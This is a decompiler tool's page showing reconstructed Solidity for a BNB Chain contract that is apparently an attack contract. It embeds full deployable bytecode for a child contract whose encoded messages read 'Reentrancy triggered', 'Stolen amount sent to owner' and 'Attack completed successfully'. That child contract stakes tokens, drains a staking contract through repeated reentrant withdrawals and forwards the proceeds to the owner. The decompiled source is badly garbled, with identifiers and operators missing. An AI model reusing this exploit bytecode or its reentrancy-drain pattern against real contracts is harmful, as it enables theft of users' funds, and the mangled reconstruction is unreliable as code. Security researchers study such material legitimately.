BNB Chain

0x1196395632762d9f7263110a2e4ede5806618088

Decompiled Solidity recovered from this contract's runtime bytecode. Best-effort reconstruction — confirm behaviour against on-chain state.

Decompilation outputBNB Chain · 0x11963956…0661808811.9 KB5.1 s
Share
200 lines · Click a variable or keyword to highlight its references · Click a line number to copy its link; Shift-click to copy a block link
//decompiled by exvvul decompiler tool contact@exvul.com https://x.com/exvulsec// SPDX-License-Identifier: MIT  >=0.8.0;  {        = 1023639521836655413551032756451332648186786216052;        = 1102879075910743166722509745483502509518403640067;          ; // STORAGE[0x0] bytes 0 to 19      ; // STORAGE[0x1] bytes 0 to 19     ; // STORAGE[0x2]         (, , , );         () {        (. == , "Not owner");        ;    }    ()   {        // Synthetic compatibility routes preserve original selectors for unresolved names.         ((.. >= 4) && (. == 0x8e2939af)) {            // Route to Unknown_8e2939af(uint256) after replacing only msg.sig.            ((0xefd05b14));            ;        }         ((.. >= 4) && (. == 0xcf03e795)) {            // Route to Unknown_cf03e795(uint256) after replacing only msg.sig.            ((0x8141e5ad));            ;        }         ((.. >= 4) && (. == 0xec66ec0a)) {            // Route to Unknown_ec66ec0a(uint256) after replacing only msg.sig.            ((0xd885210d));            ;        }        ();    }             ()    () {        (.. != 0x0);        ( ,   ) = .(.((0x70a08231), ())); // staticcall balanceOf        ();        (!(. < 0x20));          = .(, ());        // duplicate declaration of accountBalance omitted    }         ()    () {         ;    }         ()    () {         ;    }         ( )   {        ();    }         ()    {        (.. != 0x0);        ( ,   ) = .(.((0x70a08231), ())); // staticcall balanceOf        ();        (!(. < 0x20));          = .(, ());        ( > 0, "No profit");        (.. != 0x0);        ( ,   ) = .(.((0xa9059cbb), , )); // call transfer        ();        (!(. < 0x20));          = .(, ());        (, "Transfer failed");         ((0x20 + (0x20 + )) - , , 0x10, 0x50726f6669742077697468647261776e00000000000000000000000000000000);    }         ()    () {        (.. != 0x0);        ( ,   ) = .((), 0xb34d956bfe58a5684d8e7f33c87c31a37e3df874); // staticcall        ();        (!(. < 0x20));          = .(, ());        // duplicate declaration of currentAllowance omitted    }         ( )    {        (.. != 0x0);        ( ,   ) = .(.((0x23b872dd), ., (), )); // call transferFrom        ();        (!(. < 0x20));          = .(, ());        (, "Transfer failed");         =  + ;         ((0x20 + (0x20 + )) - , , 0x11, 0x4465706f736974656420746f2062616e6b000000000000000000000000000000);    }         ( )   {        ();    }         ( )    {        (!( > ), "Insufficient balance");        (.. != 0x0);        ( ,   ) = .(.((0x095ea7b3), 0xb34d956bfe58a5684d8e7f33c87c31a37e3df874, )); // call approve        ();        (!(. < 0x20));          = .(, ());        (, "Approve failed");         ((0x20 + (0x20 + )) - , , 0x15, 0xe29c8520417070726f76656420746f207374616b650000000000000000000000);    }         ( )  {        // Decompilation incomplete: helper effect provenance is conservative.        (. == , "Not owner");        (!( > ), "Insufficient balance");        (.. != 0x0);        ( ,   ) = .(.((0x095ea7b3), 0xb34d956bfe58a5684d8e7f33c87c31a37e3df874, )); // call approve        ();        (!(. < 0x20));          = .(, ());        (, "Approve failed");         ((0x20 + (0x20 + )) - , , 0x08, 0x417070726f766564000000000000000000000000000000000000000000000000);          = 0x608060405273c12ecee46ed65d970ee5c899fcc7ae133aff9b036000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b34d956bfe58a5684d8e7f33c87c31a37e3df874600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b506040516200154938038062001549833981810160405260208110156100de57600080fd5b810190808051906020019092919050505033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548160ff0219169083151502179055506000600381905550600081116101c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f416d6f756e74206d757374206265203e2030000000000000000000000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561025357600080fd5b505afa158015610267573d6000803e3d6000fd5b505050506040513d602081101561027d57600080fd5b8101908080519060200190929190505050905081811015610306576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e742054525920696e20636f6e74726163740000000081525060200191505060405180910390fd5b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260118152602001807f42616c616e636520617661696c61626c650000000000000000000000000000008152506020019250505060405180910390a160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b373b34d956bfe58a5684d8e7f33c87c31a37e3df874846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561041b57600080fd5b505af115801561042f573d6000803e3d6000fd5b505050506040513d602081101561044557600080fd5b81019080805190602001909291905050506104c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f417070726f7665206661696c656400000000000000000000000000000000000081525060200191505060405180910390fd5b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58260405180806020018381526020018281038252601e8152602001807fe29c8520417070726f76656420746f207374616b6520636f6e747261637400008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ca84d591836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156105ad57600080fd5b505af11580156105c1573d6000803e3d6000fd5b505050507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5826040518080602001838152602001828103825260068152602001807f5374616b656400000000000000000000000000000000000000000000000000008152506020019250505060405180910390a16001600460006101000a81548160ff021916908315150217905550600080601e90506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106e257600080fd5b505afa1580156106f6573d6000803e3d6000fd5b505050506040513d602081101561070c57600080fd5b810190808051906020019092919050505090507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252600e8152602001807f496e697469616c207374616b65640000000000000000000000000000000000008152506020019250505060405180910390a15b60008111801561079f57508183105b15610a545782806001019350507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58360405180806020018381526020018281038252600a8152602001807f57697468647261772023000000000000000000000000000000000000000000008152506020019250505060405180910390a17fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252600d8152602001807f416d6f756e74206265666f7265000000000000000000000000000000000000008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c75bcda826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561090157600080fd5b505af1158015610915573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d60208110156109cc57600080fd5b810190808051906020019092919050505090507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260098152602001807f52656d61696e696e6700000000000000000000000000000000000000000000008152506020019250505060405180910390a1610790565b6000600460006101000a81548160ff0219169083151502179055507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5836040518080602001838152602001828103825260118152602001807f546f74616c207769746864726177616c730000000000000000000000000000008152506020019250505060405180910390a160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b6957600080fd5b505afa158015610b7d573d6000803e3d6000fd5b505050506040513d6020811015610b9357600080fd5b810190808051906020019092919050505090506000811115610d875760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c6257600080fd5b505af1158015610c76573d6000803e3d6000fd5b505050506040513d6020811015610c8c57600080fd5b8101908080519060200190929190505050610d0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5472616e73666572206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b806003819055507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252601f8152602001807fe29c852053746f6c656e20616d6f756e742073656e7420746f206f776e6572008152506020019250505060405180910390a15b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b560035460405180806020018381526020018281038252602381526020018062001526602391396040019250505060405180910390a15050505050506107338062000df36000396000f3fe6080604052600436106100955760003560e01c80638da5cb5b116100595780638da5cb5b146103a057806399181225146103e15780639a422b2914610422578063c59abf9f1461044f578063d9f9d5f21461047a57610282565b80631182caa01461028757806312065fe0146102c8578063125fdbbc146102f35780633555169b146103345780635ac072d71461035f57610282565b3661028257600460009054906101000a900460ff1615610280576000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561013a57600080fd5b505afa15801561014e573d6000803e3d6000fd5b505050506040513d602081101561016457600080fd5b81019080805190602001909291905050509050600081111561027e577fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260198152602001807ff09f9484205265656e7472616e637920747269676765726564000000000000008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c75bcda826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561026557600080fd5b505af1158015610279573d6000803e3d6000fd5b505050505b505b005b600080fd5b34801561029357600080fd5b5061029c6104a5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102d457600080fd5b506102dd6104bd565b6040518082815260200191505060405180910390f35b3480156102ff57600080fd5b50610308610587565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034057600080fd5b506103496105ad565b6040518082815260200191505060405180910390f35b34801561036b57600080fd5b506103746105b7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ac57600080fd5b506103b56105db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ed57600080fd5b506103f6610601565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042e57600080fd5b50610437610619565b60405180821515815260200191505060405180910390f35b34801561045b57600080fd5b5061046461062c565b6040518082815260200191505060405180910390f35b34801561048657600080fd5b5061048f6106f7565b6040518082815260200191505060405180910390f35b73b34d956bfe58a5684d8e7f33c87c31a37e3df87481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561054757600080fd5b505afa15801561055b573d6000803e3d6000fd5b505050506040513d602081101561057157600080fd5b8101908080519060200190929190505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b73c12ecee46ed65d970ee5c899fcc7ae133aff9b0381565b600460009054906101000a900460ff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106b757600080fd5b505afa1580156106cb573d6000803e3d6000fd5b505050506040513d60208110156106e157600080fd5b8101908080519060200190929190505050905090565b6003548156fea2646970667358221220703fe995025982016ff72943075ed84925c29df6f53a3986b227b306f884815064736f6c634300060c0033f09f8eaf2041747461636b20636f6d706c65746564207375636365737366756c6c7921; // this.code[6660:12109]          = 0;          = ;          = (0x20 + (0x1549 + )) - ;         ;         {  := (, , ) }        (!(!((0, , ((0x20 + (0x1549 + )) - )))));         ((0x20 + (0x20 + )) - , , 0x10, 0x4578706c6f6974206465706c6f79656400000000000000000000000000000000);        (.. != 0x0);        ( ,   ) = .(.((0xa9059cbb), ((0, , ((0x20 + (0x1549 + )) - ))), )); // call transfer        ();        (!(. < 0x20));          = .(, ());        (, "Transfer failed");         =  - ;         ((0x20 + (0x20 + )) - , , 0x16, 0x5472616e7366657272656420746f206578706c6f697400000000000000000000);         ((0x20 + (0x20 + )) - , 0, 0x10, 0x41747461636b20636f6d706c6574656400000000000000000000000000000000);    }         ( )  {        // Decompilation incomplete: helper effect provenance is conservative.        (. == , "Not owner");        (!( > ), "Insufficient balance");        (.. != 0x0);        ( ,   ) = .((), 0xb34d956bfe58a5684d8e7f33c87c31a37e3df874); // staticcall        ();        (!(. < 0x20));          = .(, ());        (!( < ), "Must approve first");          = 0x608060405273c12ecee46ed65d970ee5c899fcc7ae133aff9b036000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b34d956bfe58a5684d8e7f33c87c31a37e3df874600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b506040516200154938038062001549833981810160405260208110156100de57600080fd5b810190808051906020019092919050505033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548160ff0219169083151502179055506000600381905550600081116101c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f416d6f756e74206d757374206265203e2030000000000000000000000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561025357600080fd5b505afa158015610267573d6000803e3d6000fd5b505050506040513d602081101561027d57600080fd5b8101908080519060200190929190505050905081811015610306576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e742054525920696e20636f6e74726163740000000081525060200191505060405180910390fd5b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260118152602001807f42616c616e636520617661696c61626c650000000000000000000000000000008152506020019250505060405180910390a160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b373b34d956bfe58a5684d8e7f33c87c31a37e3df874846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561041b57600080fd5b505af115801561042f573d6000803e3d6000fd5b505050506040513d602081101561044557600080fd5b81019080805190602001909291905050506104c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f417070726f7665206661696c656400000000000000000000000000000000000081525060200191505060405180910390fd5b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58260405180806020018381526020018281038252601e8152602001807fe29c8520417070726f76656420746f207374616b6520636f6e747261637400008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ca84d591836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156105ad57600080fd5b505af11580156105c1573d6000803e3d6000fd5b505050507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5826040518080602001838152602001828103825260068152602001807f5374616b656400000000000000000000000000000000000000000000000000008152506020019250505060405180910390a16001600460006101000a81548160ff021916908315150217905550600080601e90506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106e257600080fd5b505afa1580156106f6573d6000803e3d6000fd5b505050506040513d602081101561070c57600080fd5b810190808051906020019092919050505090507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252600e8152602001807f496e697469616c207374616b65640000000000000000000000000000000000008152506020019250505060405180910390a15b60008111801561079f57508183105b15610a545782806001019350507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58360405180806020018381526020018281038252600a8152602001807f57697468647261772023000000000000000000000000000000000000000000008152506020019250505060405180910390a17fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252600d8152602001807f416d6f756e74206265666f7265000000000000000000000000000000000000008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c75bcda826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561090157600080fd5b505af1158015610915573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d60208110156109cc57600080fd5b810190808051906020019092919050505090507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260098152602001807f52656d61696e696e6700000000000000000000000000000000000000000000008152506020019250505060405180910390a1610790565b6000600460006101000a81548160ff0219169083151502179055507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5836040518080602001838152602001828103825260118152602001807f546f74616c207769746864726177616c730000000000000000000000000000008152506020019250505060405180910390a160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b6957600080fd5b505afa158015610b7d573d6000803e3d6000fd5b505050506040513d6020811015610b9357600080fd5b810190808051906020019092919050505090506000811115610d875760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c6257600080fd5b505af1158015610c76573d6000803e3d6000fd5b505050506040513d6020811015610c8c57600080fd5b8101908080519060200190929190505050610d0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5472616e73666572206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b806003819055507fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b58160405180806020018381526020018281038252601f8152602001807fe29c852053746f6c656e20616d6f756e742073656e7420746f206f776e6572008152506020019250505060405180910390a15b7fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b560035460405180806020018381526020018281038252602381526020018062001526602391396040019250505060405180910390a15050505050506107338062000df36000396000f3fe6080604052600436106100955760003560e01c80638da5cb5b116100595780638da5cb5b146103a057806399181225146103e15780639a422b2914610422578063c59abf9f1461044f578063d9f9d5f21461047a57610282565b80631182caa01461028757806312065fe0146102c8578063125fdbbc146102f35780633555169b146103345780635ac072d71461035f57610282565b3661028257600460009054906101000a900460ff1615610280576000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561013a57600080fd5b505afa15801561014e573d6000803e3d6000fd5b505050506040513d602081101561016457600080fd5b81019080805190602001909291905050509050600081111561027e577fdd970dd9b5bfe707922155b058a407655cb18288b807e2216442bca8ad83d6b5816040518080602001838152602001828103825260198152602001807ff09f9484205265656e7472616e637920747269676765726564000000000000008152506020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c75bcda826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561026557600080fd5b505af1158015610279573d6000803e3d6000fd5b505050505b505b005b600080fd5b34801561029357600080fd5b5061029c6104a5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102d457600080fd5b506102dd6104bd565b6040518082815260200191505060405180910390f35b3480156102ff57600080fd5b50610308610587565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034057600080fd5b506103496105ad565b6040518082815260200191505060405180910390f35b34801561036b57600080fd5b506103746105b7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ac57600080fd5b506103b56105db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ed57600080fd5b506103f6610601565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042e57600080fd5b50610437610619565b60405180821515815260200191505060405180910390f35b34801561045b57600080fd5b5061046461062c565b6040518082815260200191505060405180910390f35b34801561048657600080fd5b5061048f6106f7565b6040518082815260200191505060405180910390f35b73b34d956bfe58a5684d8e7f33c87c31a37e3df87481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561054757600080fd5b505afa15801561055b573d6000803e3d6000fd5b505050506040513d602081101561057157600080fd5b8101908080519060200190929190505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b73c12ecee46ed65d970ee5c899fcc7ae133aff9b0381565b600460009054906101000a900460ff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b29ce5a0306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106b757600080fd5b505afa1580156106cb573d6000803e3d6000fd5b505050506040513d60208110156106e157600080fd5b8101908080519060200190929190505050905090565b6003548156fea2646970667358221220703fe995025982016ff72943075ed84925c29df6f53a3986b227b306f884815064736f6c634300060c0033f09f8eaf2041747461636b20636f6d706c65746564207375636365737366756c6c7921; // this.code[6660:12109]          = 0;          = ;          = (0x20 + (0x1549 + )) - ;         ;         {  := (, , ) }        (!(!((0, , ((0x20 + (0x1549 + )) - )))));         ((0x20 + (0x20 + )) - , , 0x10, 0x4578706c6f6974206465706c6f79656400000000000000000000000000000000);        (.. != 0x0);        ( ,   ) = .(.((0xa9059cbb), ((0, , ((0x20 + (0x1549 + )) - ))), )); // call transfer        ();        (!(. < 0x20));          = .(, ());        (, "Transfer failed");         =  - ;         ((0x20 + (0x20 + )) - , , 0x16, 0x5472616e7366657272656420746f206578706c6f697400000000000000000000);    }         ( )  {         {              := (0x40)            (, 0, ())            (, (((), 0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff), (224, (, 0xffffffff))))              := ((), (), , (), 0, 0)              := ()            (, 0, )                          0 { (, ) }             { (, ) }        }    }        // Note: This selector table is synthetic and is not part of the original Solidity source.    // It records the recovered selector-to-signature mapping without executable behavior.        // 0x1182caa0 => STAKE_ADDRESS()    // 0x12065fe0 => getBalance()    // 0x1387c4fd => getDeposited()    // 0x1d01364c => depositedAmount()    // 0x5ac072d7 => TRY()    // 0x8da5cb5b => owner()    // 0x8e2939af => Unknown_8e2939af(uint256)    // 0x959499b6 => withdrawProfit()    // 0x973e9b8b => getAllowance()    // 0x99181225 => unresolved_99181225()    // 0xb6b55f25 => deposit(uint256)    // 0xcf03e795 => Unknown_cf03e795(uint256)    // 0xec66ec0a => Unknown_ec66ec0a(uint256)}
0x119639…618088 on BNB Chain — Decompiled Solidity